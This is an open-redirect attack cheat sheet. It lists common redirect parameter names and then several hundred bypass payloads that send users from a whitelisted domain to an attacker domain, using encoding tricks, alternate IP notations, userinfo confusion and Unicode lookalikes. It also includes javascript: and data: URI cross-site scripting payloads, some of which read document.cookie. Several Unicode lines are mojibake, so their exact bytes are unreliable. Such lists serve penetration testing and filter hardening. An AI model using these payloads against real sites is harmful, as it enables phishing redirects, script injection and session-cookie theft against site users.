Open Redirect

Common Bypasses

#Using Base64 - urlencode(base64(//google.com\@whitelisteddomain.tld))
Ly9nb29nbGUuY29tXEB3aGl0ZWxpc3RlZGRvbWFpbi50bGQ%3D

Common Injection Points

Add your payload at the end of the line.

/
?next=
?url=
?target=
?rurl=
?dest=
?destination=
?redir=
?redirect_uri=
?redirect_url=
?redirect=
/redirect/
/cgi-bin/redirect.cgi?
/out/
/out?
?view=
/login?to=
?image_url=
?go=
?return=
?returnTo=
?return_to=
?checkout_url=
?continue=
?return_path=

Payloads

Change whitelisteddomain with an specific white listed domain of your case. Ex: www.web.com

//localdomain.pw/%2f..
//www.whitelisteddomain.tld@localdomain.pw/%2f..
///localdomain.pw/%2f..
///www.whitelisteddomain.tld@localdomain.pw/%2f..
////localdomain.pw/%2f..
////www.whitelisteddomain.tld@localdomain.pw/%2f..
https://localdomain.pw/%2f..
https://www.whitelisteddomain.tld@localdomain.pw/%2f..
/https://localdomain.pw/%2f..
/https://www.whitelisteddomain.tld@localdomain.pw/%2f..
//localdomain.pw/%2f%2e%2e
//www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
///localdomain.pw/%2f%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
////localdomain.pw/%2f%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
https://localdomain.pw/%2f%2e%2e
https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https://localdomain.pw/%2f%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
//localdomain.pw/
//www.whitelisteddomain.tld@localdomain.pw/
///localdomain.pw/
///www.whitelisteddomain.tld@localdomain.pw/
////localdomain.pw/
////www.whitelisteddomain.tld@localdomain.pw/
https://localdomain.pw/
https://www.whitelisteddomain.tld@localdomain.pw/
/https://localdomain.pw/
/https://www.whitelisteddomain.tld@localdomain.pw/
//localdomain.pw//
//www.whitelisteddomain.tld@localdomain.pw//
///localdomain.pw//
///www.whitelisteddomain.tld@localdomain.pw//
////localdomain.pw//
////www.whitelisteddomain.tld@localdomain.pw//
https://localdomain.pw//
https://www.whitelisteddomain.tld@localdomain.pw//
//https://localdomain.pw//
//https://www.whitelisteddomain.tld@localdomain.pw//
//localdomain.pw/%2e%2e%2f
//www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
///localdomain.pw/%2e%2e%2f
///www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
////localdomain.pw/%2e%2e%2f
////www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
https://localdomain.pw/%2e%2e%2f
https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
//https://localdomain.pw/%2e%2e%2f
//https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
///localdomain.pw/%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2e%2e
////localdomain.pw/%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2e%2e
https:///localdomain.pw/%2e%2e
https:///www.whitelisteddomain.tld@localdomain.pw/%2e%2e
//https:///localdomain.pw/%2e%2e
//www.whitelisteddomain.tld@https:///localdomain.pw/%2e%2e
/https://localdomain.pw/%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e
///localdomain.pw/%2f%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
////localdomain.pw/%2f%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
https:///localdomain.pw/%2f%2e%2e
https:///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https://localdomain.pw/%2f%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https:///localdomain.pw/%2f%2e%2e
/https:///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/%09/localdomain.pw
/%09/www.whitelisteddomain.tld@localdomain.pw
//%09/localdomain.pw
//%09/www.whitelisteddomain.tld@localdomain.pw
///%09/localdomain.pw
///%09/www.whitelisteddomain.tld@localdomain.pw
////%09/localdomain.pw
////%09/www.whitelisteddomain.tld@localdomain.pw
https://%09/localdomain.pw
https://%09/www.whitelisteddomain.tld@localdomain.pw
/%5clocaldomain.pw
/%5cwww.whitelisteddomain.tld@localdomain.pw
//%5clocaldomain.pw
//%5cwww.whitelisteddomain.tld@localdomain.pw
///%5clocaldomain.pw
///%5cwww.whitelisteddomain.tld@localdomain.pw
////%5clocaldomain.pw
////%5cwww.whitelisteddomain.tld@localdomain.pw
https://%5clocaldomain.pw
https://%5cwww.whitelisteddomain.tld@localdomain.pw
/https://%5clocaldomain.pw
/https://%5cwww.whitelisteddomain.tld@localdomain.pw
https://localdomain.pw
https://www.whitelisteddomain.tld@localdomain.pw
javascript:alert(1);
javascript:alert(1)
//javascript:alert(1);
/javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1)
javascript:%0aalert`1`
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)
//localdomain.pw
http:localdomain.pw
https:localdomain.pw
//localdomain%E3%80%82pw
\/\/localdomain.pw/
/\/localdomain.pw/
/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/
//\/localdomain.pw/
//localdomain%00.pw
https://www.whitelisteddomain.tld/https://localdomain.pw/
";alert(0);//
javascript://www.whitelisteddomain.tld?%a0alert%281%29
http://0xd8.0x3a.0xd6.0xce
http://www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
http://0xd83ad6ce
http://www.whitelisteddomain.tld@0xd83ad6ce
http://3H6k7lIAiqjfNeN@0xd83ad6ce
http://XY>.7d8T\205pZM@0xd83ad6ce
http://3627734734
http://www.whitelisteddomain.tld@3627734734
http://3H6k7lIAiqjfNeN@3627734734
http://XY>.7d8T\205pZM@3627734734
http://472.314.470.462
http://www.whitelisteddomain.tld@472.314.470.462
http://3H6k7lIAiqjfNeN@472.314.470.462
http://XY>.7d8T\205pZM@472.314.470.462
http://0330.072.0326.0316
http://www.whitelisteddomain.tld@0330.072.0326.0316
http://3H6k7lIAiqjfNeN@0330.072.0326.0316
http://XY>.7d8T\205pZM@0330.072.0326.0316
http://00330.00072.0000326.00000316
http://www.whitelisteddomain.tld@00330.00072.0000326.00000316
http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
http://XY>.7d8T\205pZM@00330.00072.0000326.00000316
http://[::216.58.214.206]
http://www.whitelisteddomain.tld@[::216.58.214.206]
http://3H6k7lIAiqjfNeN@[::216.58.214.206]
http://XY>.7d8T\205pZM@[::216.58.214.206]
http://[::ffff:216.58.214.206]
http://www.whitelisteddomain.tld@[::ffff:216.58.214.206]
http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http://0xd8.072.54990
http://www.whitelisteddomain.tld@0xd8.072.54990
http://3H6k7lIAiqjfNeN@0xd8.072.54990
http://XY>.7d8T\205pZM@0xd8.072.54990
http://0xd8.3856078
http://www.whitelisteddomain.tld@0xd8.3856078
http://3H6k7lIAiqjfNeN@0xd8.3856078
http://XY>.7d8T\205pZM@0xd8.3856078
http://00330.3856078
http://www.whitelisteddomain.tld@00330.3856078
http://3H6k7lIAiqjfNeN@00330.3856078
http://XY>.7d8T\205pZM@00330.3856078
http://00330.0x3a.54990
http://www.whitelisteddomain.tld@00330.0x3a.54990
http://3H6k7lIAiqjfNeN@00330.0x3a.54990
http://XY>.7d8T\205pZM@00330.0x3a.54990
http:0xd8.0x3a.0xd6.0xce
http:www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
http:0xd83ad6ce
http:www.whitelisteddomain.tld@0xd83ad6ce
http:3H6k7lIAiqjfNeN@0xd83ad6ce
http:XY>.7d8T\205pZM@0xd83ad6ce
http:3627734734
http:www.whitelisteddomain.tld@3627734734
http:3H6k7lIAiqjfNeN@3627734734
http:XY>.7d8T\205pZM@3627734734
http:472.314.470.462
http:www.whitelisteddomain.tld@472.314.470.462
http:3H6k7lIAiqjfNeN@472.314.470.462
http:XY>.7d8T\205pZM@472.314.470.462
http:0330.072.0326.0316
http:www.whitelisteddomain.tld@0330.072.0326.0316
http:3H6k7lIAiqjfNeN@0330.072.0326.0316
http:XY>.7d8T\205pZM@0330.072.0326.0316
http:00330.00072.0000326.00000316
http:www.whitelisteddomain.tld@00330.00072.0000326.00000316
http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
http:XY>.7d8T\205pZM@00330.00072.0000326.00000316
http:[::216.58.214.206]
http:www.whitelisteddomain.tld@[::216.58.214.206]
http:3H6k7lIAiqjfNeN@[::216.58.214.206]
http:XY>.7d8T\205pZM@[::216.58.214.206]
http:[::ffff:216.58.214.206]
http:www.whitelisteddomain.tld@[::ffff:216.58.214.206]
http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http:0xd8.072.54990
http:www.whitelisteddomain.tld@0xd8.072.54990
http:3H6k7lIAiqjfNeN@0xd8.072.54990
http:XY>.7d8T\205pZM@0xd8.072.54990
http:0xd8.3856078
http:www.whitelisteddomain.tld@0xd8.3856078
http:3H6k7lIAiqjfNeN@0xd8.3856078
http:XY>.7d8T\205pZM@0xd8.3856078
http:00330.3856078
http:www.whitelisteddomain.tld@00330.3856078
http:3H6k7lIAiqjfNeN@00330.3856078
http:XY>.7d8T\205pZM@00330.3856078
http:00330.0x3a.54990
http:www.whitelisteddomain.tld@00330.0x3a.54990
http:3H6k7lIAiqjfNeN@00330.0x3a.54990
http:XY>.7d8T\205pZM@00330.0x3a.54990
γ€±localdomain.pw
〡localdomain.pw
ゝlocaldomain.pw
γƒΌlocaldomain.pw
ο½°localdomain.pw
/γ€±localdomain.pw
/〡localdomain.pw
/ゝlocaldomain.pw
/γƒΌlocaldomain.pw
/ο½°localdomain.pw
%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
<>javascript:alert(1);
<>//localdomain.pw
//localdomain.pw\@www.whitelisteddomain.tld
https://:@localdomain.pw\@www.whitelisteddomain.tld
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
ja\nva\tscript\r:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
http://localdomain.pw:80#@www.whitelisteddomain.tld/
http://localdomain.pw:80?@www.whitelisteddomain.tld/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@localdomain.pw/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld+@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@localdomain.pw/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld@localdomain.pw/
http://www.whitelisteddomain.tld+&@localdomain.pw#+@www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
http://localdomain.pw\twww.whitelisteddomain.tld/
//localdomain.pw:80#@www.whitelisteddomain.tld/
//localdomain.pw:80?@www.whitelisteddomain.tld/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@localdomain.pw/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld+@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@localdomain.pw/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld@localdomain.pw/
//www.whitelisteddomain.tld+&@localdomain.pw#+@www.whitelisteddomain.tld/
//www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
//localdomain.pw\twww.whitelisteddomain.tld/
//;@localdomain.pw
//οΉ”@localdomain.pw
http://;@localdomain.pw
http://οΉ”@localdomain.pw
@localdomain.pw
javascript://https://www.whitelisteddomain.tld/?z=%0Aalert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
http://localdomain.pw%2f%2f.www.whitelisteddomain.tld/
http://localdomain.pw%5c%5c.www.whitelisteddomain.tld/
http://localdomain.pw%3F.www.whitelisteddomain.tld/
http://localdomain.pw%23.www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld:80%40localdomain.pw/
http://www.whitelisteddomain.tld%2elocaldomain.pw/
/x:1/:///%01javascript:alert(document.cookie)/
/https:/%5clocaldomain.pw/
https:/%5clocaldomain.pw/
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascripT://www.whitelisteddomain.tld/%250d%250aalert(document.cookie)
/http://localdomain.pw
/%2f%2flocaldomain.pw
//%2f%2flocaldomain.pw
/localdomain.pw/%2f%2e%2e
/http:/localdomain.pw
http:/localdomain.pw
/.localdomain.pw
http://.localdomain.pw
.localdomain.pw
///\;@localdomain.pw
///\οΉ”@localdomain.pw
///localdomain.pw
/////localdomain.pw/
/////localdomain.pw
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``
java%0ascript:alert(1)
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)
java%09script:alert(1)
java%0dscript:alert(1)
javascript://%0aalert(1)
javascript://%0aalert`1`
Javas%26%2399;ript:alert(1)
data:www.whitelisteddomain.tld;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>
jaVAscript://www.whitelisteddomain.tld//%0d%0aalert(1);//
http://www.localdomain.pw\.www.whitelisteddomain.tld
%19Jav%09asc%09ript:https%20://www.whitelisteddomain.tld/%250Aconfirm%25281%2529
%01https://localdomain.pw
www.whitelisteddomain.tld;@localdomain.pw
www.whitelisteddomain.tldοΉ”@localdomain.pw
https://www.whitelisteddomain.tld;@localdomain.pw
https://www.whitelisteddomain.tldοΉ”@localdomain.pw
http:%0a%0dlocaldomain.pw
https://%0a%0dlocaldomain.pw
localdomain.pw/www.whitelisteddomain.tld
https://localdomain.pw/www.whitelisteddomain.tld
//localdomain.pw/www.whitelisteddomain.tld
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
//www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
/https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
//www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
//https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
//https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
https:///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
https:///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
//https:///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
//www.whitelisteddomain.tld@https:///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
/https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
////www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https:///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https:///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https:///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https:///www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/%09/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%09/www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%09/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%09/www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%09/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%09/www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%09/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%09/www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%09/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%09/www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https://%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https://%5cwww.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https:β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒ%E3%80%82pw
\/\/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/\/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//\/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒ%00qPⓦ
https://www.whitelisteddomain.tld/https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
γ€±β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
γ€΅β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
γ‚β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
γƒΌβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
ο½°β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/γ€±β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/γ€΅β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/γ‚β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/γƒΌβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
